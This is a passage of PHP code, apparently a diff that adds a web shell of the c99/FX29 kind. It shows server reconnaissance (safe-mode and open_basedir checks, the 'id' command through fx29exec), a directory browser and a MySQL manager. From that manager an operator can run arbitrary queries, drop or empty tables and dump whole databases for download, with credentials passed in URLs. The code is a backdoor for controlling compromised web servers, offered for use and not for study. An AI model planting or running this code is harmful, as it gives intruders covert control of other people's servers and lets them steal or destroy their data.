DIRECTORY_SEPARATOR) { $tmp_dir .= DIRECTORY_SEPARATOR; } + + + + if (!is_array(@$actbox)) { $actbox = array(); } + + $dspact = $act = htmlspecialchars($act); + + $disp_fullpath = $ls_arr = $notls = null; + + + + $ud = @urlencode($d); + + if (empty($d)) { $d = realpath("."); } + + elseif (realpath($d)) { $d = realpath($d); } + + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + + if (substr($d,-1) != DIRECTORY_SEPARATOR) { $d .= DIRECTORY_SEPARATOR; } + + $d = str_replace("\\\\","\\",$d); + + $dispd = htmlspecialchars($d); + + + + if (safemode()) { + + $hsafemode = '<font class="on"><b>SAFE MODE IS ON</b></font>'; + + $safemodeexecdir = @ini_get("safe_mode_exec_dir"); + + } + + else { + + $hsafemode = '<font class="off"><b>SAFE MODE IS OFF</b></font>'; + + } + + + + $v = @ini_get("open_basedir"); + + if (strtolower($v) == "on") { $hopenbasedir = '<font class="on">'.$v.'</font>'; } + + else { $hopenbasedir = '<font class="off">OFF (Not Secure)</font>'; } + + + + $wd = (is_writable($d)) ? '<font class="on">[W]</font>' : '<font class="off">[R]</font>'; + + + + ################## + + ##[ HTML START ]## + + ################## + + echo html_style(); ?> + +<!-- Main Menu --> + +<div id="main"> + + + + <div class="bartitle"><?php echo html_header() ?></div> + + + + <table id="pagebar"> + + + + <!-- Server Info --> + + <tr><td colspan="2"> + + <div class="fleft"><?php echo $hsafemode; ?></div> + + <div class="fright"> + + IP Address: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput="<?php echo @gethostbyname($_SERVER["HTTP_HOST"]); ?>"><?php echo @gethostbyname($_SERVER["HTTP_HOST"]); ?></a> + + You: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput="<?php echo $_SERVER["REMOTE_ADDR"]; ?>"><?php echo $_SERVER["REMOTE_ADDR"]; ?></a> + + </div> + + </td></tr> + + + + <tr><td width="50%"> + + <table class="info"> + +<?php + + srv_info("Software",srv_software($surl)); + + srv_info("Uname",php_uname()); + + srv_info("User",(is_windows()) ? get_current_user()." (uid=".getmyuid()." gid=".getmygid().")" : fx29exec("id")); + +?> + + </table> + + </td> + + <td width="50%"> + + <table class="info"> + +<?php + + if (is_windows()) { srv_info("Drives",disp_drives($d,$surl)); } + + srv_info("Freespace",disp_freespace($d)); + +?> + + </table> + + </td></tr> + + + + <tr><td colspan="2"> + +<?php + + echo "\t\t\t".get_status(); + + echo "<br>\n"; + + echo (isset($safemodeexecdir)) ? "\n\t\t\tSafemodeExecDir: ".$safemodeexecdir."<br>" : ""; + + echo (showdisfunc()) ? "\t\t\tDisFunc: ".showdisfunc() : ""; + + echo "\n"; + +?> + + </td></tr> + + <!-- End of Server Info --> + + + + <!-- Quicklaunch --> + + <tr><td colspan="2" class="quicklaunch"> + +<?php + + ##[ QUICKLAUNCH ]## + + foreach($quicklaunch as $item) { + + if ($item[0] == "-") { + + echo "\t\t</td></tr>\n"; + + echo "\t\t<tr><td colspan=\"2\" class=\"quicklaunch\">\n"; + + } + + else { + + $item[1] = str_replace("%d",urlencode($d),$item[1]); + + $item[1] = str_replace("%sort",$sort,$item[1]); + + $v = realpath($d.".."); + + if (empty($v)) { + + $a = explode(DIRECTORY_SEPARATOR,$d); + + unset($a[count($a)-2]); + + $v = join(DIRECTORY_SEPARATOR,$a); + + } + + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + + echo "\t\t\t<a href=\"".$item[1]."\">".$item[0]."</a>\n"; + + } + + } + +?> + + </td></tr> + + <!-- End of Quicklaunch --> + + + + <!-- Directory Info --> + + <tr><td colspan="2"> + + <div class="fleft"> + +<?php + + $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); + + $i = 0; + + foreach($pd as $b) { + + $t = ""; $j = 0; + + foreach ($e as $r) { + + $t.= $r.DIRECTORY_SEPARATOR; + + if ($j == $i) { break; } + + $j++; + + } + + echo "\t\t\t<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\">".htmlspecialchars($b).DIRECTORY_SEPARATOR."</a>\n"; + + $i++; + + } + + echo "\t\t\t"; + + echo (is_writable($d)) ? "<b>".view_perms_color($d)."</b>" : "<b>".view_perms_color($d)."</b>"; + + echo "\n"; + +?> + + </div> + + <div class="fright"> + + <form name="f_dir" method="POST"> + + <input type="hidden" name="act" value="ls"> + + Directory: <input type="text" name="d" size="60" value="<?php echo $dispd; ?>"> <input type=submit value="Go"> + + </form> + + </div> + + </td></tr> + + <!-- End of Directory Info --> + + + + </table> + + + +</div> + +<!-- End of Main Menu --> + + + +<!-- Main Info --> + +<div id="maininfo"> + + + +<?php + + ######################### + + ##[ INFORMATION TABLE ]## + + ######################### + + + + if ($act == "") { $act = $dspact = "ls"; } + + + + ##[ SQL ]## + + if ($act == "sql") { + + $sql_surl = $surl."act=sql"; + + + + if (!isset($sql_login)) { $sql_login = ""; } + + if (!isset($sql_passwd)) { $sql_passwd = ""; } + + if (!isset($sql_server)) { $sql_server = ""; } + + if (!isset($sql_port)) { $sql_port = ""; } + + + + if (!isset($sql_tbl)) { $sql_tbl = ""; } + + if (!isset($sql_act)) { $sql_act = ""; } + + if (!isset($sql_tbl_act)) { $sql_tbl_act = ""; } + + if (!isset($sql_order)) { $sql_order = ""; } + + if (!isset($sql_act)) { $sql_act = ""; } + + if (!isset($sql_getfile)) { $sql_getfile = ""; } + + + + #SQL URL Setting + + if (@$sql_login) { $sql_surl .= "&sql_login=".htmlspecialchars($sql_login); } + + if (@$sql_passwd) { $sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd); } + + if (@$sql_server) { $sql_surl .= "&sql_server=".htmlspecialchars($sql_server); } + + if (@$sql_port) { $sql_surl .= "&sql_port=".htmlspecialchars($sql_port); } + + if (@$sql_db) { $sql_surl .= "&sql_db=".htmlspecialchars($sql_db); } + + + + $sql_surl .= "&"; + +?> + +<!-- SQL Manager --> + +<div class="barheader">.: SQL Manager (Under Construction) :.</div> + +<div class="barheader"><?php + + if (@$sql_server) { + + $sql_sock = @mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + + $err = mysql_smarterror($sql_sock); + + @mysql_select_db($sql_db,$sql_sock); + + if (@$sql_query and $submit) { + + $sql_query_result = mysql_query($sql_query,$sql_sock); + + $sql_query_error = mysql_smarterror($sql_sock); + + } + + } + + else { $sql_sock = FALSE; } + + + + if (!$sql_sock) { + + if (!@$sql_server) { echo "No Connection!"; } + + else { disp_error("ERROR: ".$err); } + + } + + else { + + #SQL Quicklaunch + + $sqlquicklaunch = array(); + + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + + + + echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") Server: ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>"; + + if (count($sqlquicklaunch) > 0) { + + foreach($sqlquicklaunch as $item) { + + echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] "; + + } + + } + + } + +?> + +</div> + + + +<table> + + <tr> + +<?php + + #Login Form + + if (!$sql_sock) { + +?> + + <td> + + <form name="f_sql" action="<?php echo $surl; ?>" method="POST"> + + <input type="hidden" name="act" value="sql"> + + <table class="explorer"> + + <tr> + + <th>Username<br><input type="text" name="sql_login" value="root"></th> + + <th>Password<br><input type="password" name="sql_passwd" value=""></th> + + <th>Database<br><input type="text" name="sql_db" value=""></th> + + <th>Host<br><input type="text" name="sql_server" value="localhost"></th> + + <th>Port<br><input type="text" name="sql_port" value="3306" size="3"></th> + + </tr> + + <tr><th colspan="5"><input type="submit" value="Connect"></th></tr> + + </table> + + </form> + +<?php + + } + + else { + + #Start left panel + +?> + + <td> + + <center> + + <a href="<?php echo $sql_surl; ?>"><b>HOME</b></a> + + <hr size="1" noshade> + +<?php + + $result = mysql_list_dbs($sql_sock); + + if (!$result) { echo mysql_smarterror(); } + + else { + +?> + + Database + + <form action="<?php echo $surl?>"> + + <input type="hidden" name="act" value="sql"> + + <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"> + + <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"> + + <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"> + + <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"> + + <select name="sql_db" onchange="this.form.submit()"> + +<?php + + $c = 0; + + $dbs = ""; + + while ($row = mysql_fetch_row($result)) { + + $dbs .= "\t\t<option value=\"".$row[0]."\""; + + if (@$sql_db == $row[0]) { $dbs .= " selected"; } + + $dbs .= ">".$row[0]."</option>\n"; + + $c++; + + } + + echo "\t\t<option value=\"\">Databases (".$c.")</option>\n"; + + echo $dbs; + + } + +?> + + </select> + + </form> + + </center> + + <hr size="1" noshade> + +<?php + + if (isset($sql_db)) { + + $result = mysql_list_tables($sql_db); + + if (!$result) { echo mysql_smarterror($sql_sock); } + + else { + + echo "\t-=[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]=-<br><br>\n"; + + $c = 0; + + while ($row = mysql_fetch_array($result)) { + + $count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); + + $count_row = mysql_fetch_array($count); + + echo "\t<b>+ <a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\">".htmlspecialchars($row[0])."</a></b> (".$count_row[0].")</br></b>\n"; + + mysql_free_result($count); + + $c++; + + } + + if (!$c) { echo "No tables found in database"; } + + } + + } + +?> + + + + </td> + + <td> + +<?php + + #Start center panel + + $diplay = TRUE; + + if (@$sql_db) { + + if (!is_numeric($c)) { $c = 0; } + + if ($c == 0) { $c = "no"; } + + echo "\t<center><b>There are ".$c." table(s) in database: ".htmlspecialchars($sql_db).""; + + if (count(@$dbquicklaunch) > 0) { + + foreach($dbsqlquicklaunch as $item) { + + echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] "; + + } + + } + + echo "</b></center>\n"; + + $acts = array("","dump"); + + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + + elseif ($sql_tbl_act == "insert") { + + if ($sql_tbl_insert_radio == 1) { + + $keys = ""; + + $akeys = array_keys($sql_tbl_insert); + + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + + $values = ""; + + $i = 0; + + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + + $sql_act = "query"; + + $sql_tbl_act = "browse"; + + } + + elseif ($sql_tbl_insert_radio == 2) { + + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + + $result = mysql_query($sql_query) or print(mysql_smarterror()); + + $result = mysql_fetch_array($result, MYSQL_ASSOC); + + $sql_act = "query"; + + $sql_tbl_act = "browse"; + + } + + } + + if ($sql_act == "query") { + + echo "<hr size=\"1\" noshade>"; + + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + + if ((!$submit) or ($sql_act)) { echo "<table><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>"; } + + } + + if (in_array($sql_act,$acts)) { + + ?> + + <table> + + <tr> + + <td> + + <b>Create new table:</b> + + <form action="<?php echo $surl; ?>"> + + <input type="hidden" name="act" value="sql"> + + <input type="hidden" name="sql_act" value="newtbl"> + + <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"> + + <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"> + + <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"> + + <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"> + + <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"> + + <input type="text" name="sql_newtbl" size="20"> + + Fields: <input type="text" name="sql_field" size="3"> + + <input type="submit" value="Create"> + + </form> + + </td> + + <td><b>Dump DB:</b> + + <form action="<?php echo $surl; ?>"> + + <input type="hidden" name="act" value="sql"> + + <input type="hidden" name="sql_act" value="dump"> + + <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"> + + <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"> + + <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"> + + <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"> + + <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"> + + <input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"> + + <input type="submit" name="submit" value="Dump"> + + </form> + + </td> + + </tr> + + </table> + +<?php + + if (!empty($sql_act)) { echo "<hr size=\"1\" noshade>"; } + + if ($sql_act == "newtbl") { + + echo "<b>"; + + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) { + + echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + + } + + else { echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror(); } + + } + + elseif ($sql_act == "dump") { + + if (empty($submit)) { + + $diplay = FALSE; + + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + + echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + + $v = join (";",$dmptbls); + + echo "<b>Only tables (explode \";\") <b><sup>1</sup></b>:</b> <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + + if ($dump_file) {$tmp = $dump_file;} + + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + + echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + + echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + + echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; + + echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + + echo "</form>"; + + } + + else { + + $diplay = TRUE; + + $set = array(); + + $set["sock"] = $sql_sock; + + $set["db"] = $sql_db; + + $dump_out = "download"; + + $set["print"] = 0; + + $set["nl2br"] = 0; + + $set[""] = 0; + + $set["file"] = $dump_file; + + $set["add_drop"] = TRUE; + + $set["onlytabs"] = array(); + + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + + $ret = mysql_dump($set); + + if ($sql_dump_download) { + + @ob_clean(); + + header("Content-type: application/octet-stream"); + + header("Content-length: ".strlen($ret)); + + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + + echo $ret; + + exit; + + } + + elseif ($sql_dump_savetofile) { + + $fp = fopen($sql_dump_file,"w"); + + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + + else { + + fwrite($fp,$ret); + + fclose($fp); + + echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + + } + + } + + else {echo "<b>Dump: nothing to do!</b>";} + + } + + } + + if ($diplay) { + + if (!empty($sql_tbl)) { + + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + + $count_row = mysql_fetch_array($count); + + mysql_free_result($count); + + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + + $tbl_struct_fields = array(); + + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + + if (@$sql_ls > @$sql_le) { $sql_le = $sql_ls + $perpage; } + + if (empty($sql_tbl_page)) { $sql_tbl_page = 0; } + + if (empty($sql_tbl_ls)) { $sql_tbl_ls = 0; } + + if (empty($sql_tbl_le)) { $sql_tbl_le = 30; } + + $perpage = $sql_tbl_le - $sql_tbl_ls; + + if (!is_numeric($perpage)) { $perpage = 10; } + + $numpages = $count_row[0]/$perpage; + + $e = explode(" ",$sql_order); + + if (count($e) == 2) { + + if ($e[0] == "d") { $asc_desc = "DESC"; } + + else { $asc_desc = "ASC"; } + + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + + } + + else {$v = "";} + + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + + $result = mysql_query($query) or print(mysql_smarterror()); + + echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[<b> Structure </b>]</a> &nbsp; "; + + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[<b> Browse </b>]</a> &nbsp; "; + + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[<b> Dump </b>]</a> &nbsp; "; + + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a> &nbsp; "; + + if ($sql_tbl_act == "structure") { echo "<b>Under construction!</b>"; } + + if ($sql_tbl_act == "insert") { + + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + + if (!empty($sql_tbl_insert_radio)) { echo "<b>Under construction!</b>"; } + + else { + + echo "<br><br><b>Inserting row into table:</b><br>"; + + if (!empty($sql_tbl_insert_q)) { + + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + + $sql_query .= " WHERE".$sql_tbl_insert_q; + + $sql_query .= " LIMIT 1;"; + + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + + $values = mysql_fetch_assoc($result); + + mysql_free_result($result); + + } + + else {$values = array();} + + echo "<form method=\"POST\"><table width=\"1%\"><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + + foreach ($tbl_struct_fields as $field) { + + $name = $field["Field"]; + + if (empty($sql_tbl_insert_q)) {$v = "";} + + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + + $i++; + + } + + echo "</table><br>"; + + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + + echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; + + } + + } + + if ($sql_tbl_act == "browse") { + + $sql_tbl_ls = abs($sql_tbl_ls); + + $sql_tbl_le = abs($sql_tbl_le); + + echo "<hr size=\"1\" noshade>"; + + echo "<img src=\"".$surl."act=img&img=multipage\" alt=\"Pages\"> "; + + $b = 0; + + for($i=0;$i<$numpages;$i++) { + + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + + echo $i; + + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + + else { echo " "; } + + } + + if ($i == 0) {echo "empty";} + + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>"; + + echo "<br><form method=\"POST\">\n"; + + echo "<table><tr>"; + + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + + for ($i=0;$i<mysql_num_fields($result);$i++) { + + $v = mysql_field_name($result,$i); + + if ($e[0] == "a") {$s = "d"; $m = "asc";} + + else {$s = "a"; $m = "desc";} + + echo "<td>"; + + if (empty($e[0])) {$e[0] = "a";} + + if (@$e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" alt=\"".$m."\"></a>";} + + echo "</td>"; + + } + + echo "<td><font color=\"green\"><b>Action</b></font></td>"; + + echo "</tr>"; + + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { + + echo "<tr>"; + + $w = ""; + + $i = 0; + + foreach ($row as $k=>$v) { + + $name = mysql_field_name($result,$i); + + $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++; + + } + + if (count($row) > 0) { $w = substr($w,0,strlen($w)-3); } + + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + + $i = 0; + + foreach ($row as $k=>$v) { + + $v = htmlspecialchars($v); + + if ($v == "") { $v = "<font color=\"green\">NULL</font>"; } + + echo "<td>".$v."</td>"; + + $i++; + + } + + echo "<td>"; + + echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\">Delete</a> "; + + echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\">Edit</a> "; + + echo "</td>"; + + echo "</tr>"; + + } + + mysql_free_result($result); + + echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" alt=\" ^ \"><select name=\"sql_act\">"; + + echo "<option value=\"\">With selected:</option>"; + + echo "<option value=\"deleterow\">Delete</option>"; + + echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>"; + + } + + } + + else { + + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + + if (!$result) { echo mysql_smarterror(); } + + else { + +?> + + <form method="POST"> + + <table> + + <tr><th><input type="checkbox" name="boxtbl_all" value="1"></th><th>Table</th><th>Rows</th><th>Engine</th><th>Created</th><th>Modified</th><th>Size</th><th>Action</th></tr> + +<?php + + $i = 0; + + $tsize = $trows = 0; + + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { + + $tsize += $row["Data_length"]; 